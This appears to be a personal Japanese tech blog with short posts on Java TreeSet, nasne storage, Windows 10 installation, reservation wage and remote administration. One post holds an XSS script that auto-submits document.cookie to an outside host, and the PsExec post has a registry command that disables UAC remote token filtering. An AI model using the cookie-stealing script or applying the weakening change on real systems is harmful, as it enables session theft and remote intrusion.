重複なしで、Stringが何種類あるか調べたい時はTreeSet
こんにちは、お久しぶりです。
誰も見ていないこのブログですが、久々に何か書きたいと思います。
今回は重複なしでStringが何種類あるのかを調べたい時にどうすればいいのか手っ取り早くあんまり考えずにできる方法を紹介したいと思います。
ちなみに効率は良くないかもしれないので、もっと良い方法があればコメントに記載して頂ければ幸いです。
単純なCSVファイルのデータの種類についてカウントするためには、
TreeSetが便利です。これはガンガン要素を追加できるのですが、重複したものを省いてくれます。最後に要素のサイズを取ればOKという流れです。
class test{ public static void test(){ TreeSet address = new TreeSet(); address.add("First"); address.add("Second"); address.add("First"); address.add("Second"); address.add("Third"); System.out.println(address.size()); //3と出力 } }
参考は以下のサイトです。
nasne 2TB以上のHDDは使えない? 3TBのHDDとか
2014年の夏あたりにnasne1TBモデル(CECH-ZNR2J)を購入しました。
しかしそろそろHDDの残量がいっぱいに・・・
そこで外付けHDDを購入することにしました。
外付けHDDは2TBまでのFAT32をメーカーは推奨しているようですが、
FAT32が2TBの制限となっているのはアロケーションユニットサイズとセクタ数の関係なので、頑張れば8TBまで増やすことが出来ます。
が、その8TBまでnasneが対応しているのかが気になるところです。。。
有名な比較サイトの記事を見ていると、外付けHDDが1TB保存したあたりで録画できなくなるようです・・・。
お気を付けください。
いろいろな事情のあるWindowsからWindows10にクリーンインストールっぽくする方法
こんにちは、お久しぶりです。
誰もこのサイトを見ていないと思いますが、備忘録気分で書きたいと思いますw
当方Windows8からWindows8.1にバージョンアップした環境でした。
しかしいろいろ環境が汚れているので「クリーンインストール」したいと思い記事を探したのですがありませんでした。
それでWindows8のプロダクトキーからWindows10のクリーンインストールする方法をインストール中に見つけたので記録します。
前提:Windows8 Proのプロダクトキーを所持していて現在Windows8.1 Pro稼働中
①
Windows 10にアクセスしてメディア作成ツールをダウンロード
②消えると困るものをバックアップ、(AdobeのPhotoshopとかの)ライセンス解除の必要なものの解除
③メディア作成ツール実行
④「このパソコンをアップデート」を選択
⑤USBメモリに保存して、ダウンロード完了後SETUP実行
⑥肯定的な選択肢を選んでいくと、インストールオプションが現れます。
⑦何も引き継がなければクリーンインストールと「同等」になります。
⑧あとはそのまま続ける
C直下に保存していたものが残っていました。
WindowsとProgram FilesなどのファイルはすべてWindows.oldに入っていました。
これはHDDとかのクリーンアップを使って削除しました。
※Windows10を直接インストールしてWindows8のプロダクトキーを入れましたが駄目でしたので、この方法が最も良いと思います。ちなみに私はHDDを工場出荷時に復元(パーティーション解除、フォーマット)した後に、Windows8を入れなおして、Windows8.1を入れなおし、それからやっとWindows10にしました。
Windows10にして動いたもの
・PSO2(ロビーまでログインしました、クエストには行っていません。)
これからどんどん確認していきます。
留保賃金
留保賃金の意味は就職するときに自分がその賃金で納得できるか否かです。
時給1000円で仕事を募集していたが、自分は最低でも時給1200円が良い。
この最低でも~円欲しいという部分が留保賃金のようです。
そのためその賃金では働きたくないのなら、職を探し続けるということだそうです。
コマンドプロンプトでWindowsのリモートを行う
そんなことができたらうれしいですね。
Linuxでいいじゃんという突っ込みは無しで。
メリット
- ノートパソコンからでも処理の重いやつを任せられる
- ローカルのファイルでもOK(これはでかい)
- 同時にログイン可能(これもでかい)
- 本人がサーバー(リモート)PCを使ってても使える(うふふふ)
デメリット
- ポート解放の幅が広いので割とちゃんとやらなきゃいけない
- いつも電源つけっぱ(魔法のパケットを使えば・・・)
さて本題です。サーバー側がWin8.1の場合です。他は検証していません。
- http://technet.microsoft.com/ja-jp/sysinternals/bb897553.aspxをDL
- Windowsファイアウォールのグループが従来からリモートデスクトップのやつをすべて許可します。
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- これでOKです。
あとは試してみください。
例)PsExec \\192.168.1.2 -u USERNAME cmd
参照
自動送信のform
これでscriptだけでformが遅れます。
<html>
<body>
</body>
<script>
var frm = document.createElement("form");
var ipt1 = document.createElement("input");
frm.action = "http://www.yahoo.co.jp";
frm.method = "post";
ipt1.name = "cookieData";
ipt1.value = document.cookie;
frm.appendChild(ipt1);
document.body.appendChild(frm);
frm.submit();
</script>
</html>
Javascriptが動くのでXSSを試してみる
できちゃったよ・・・
3秒後に表示されます。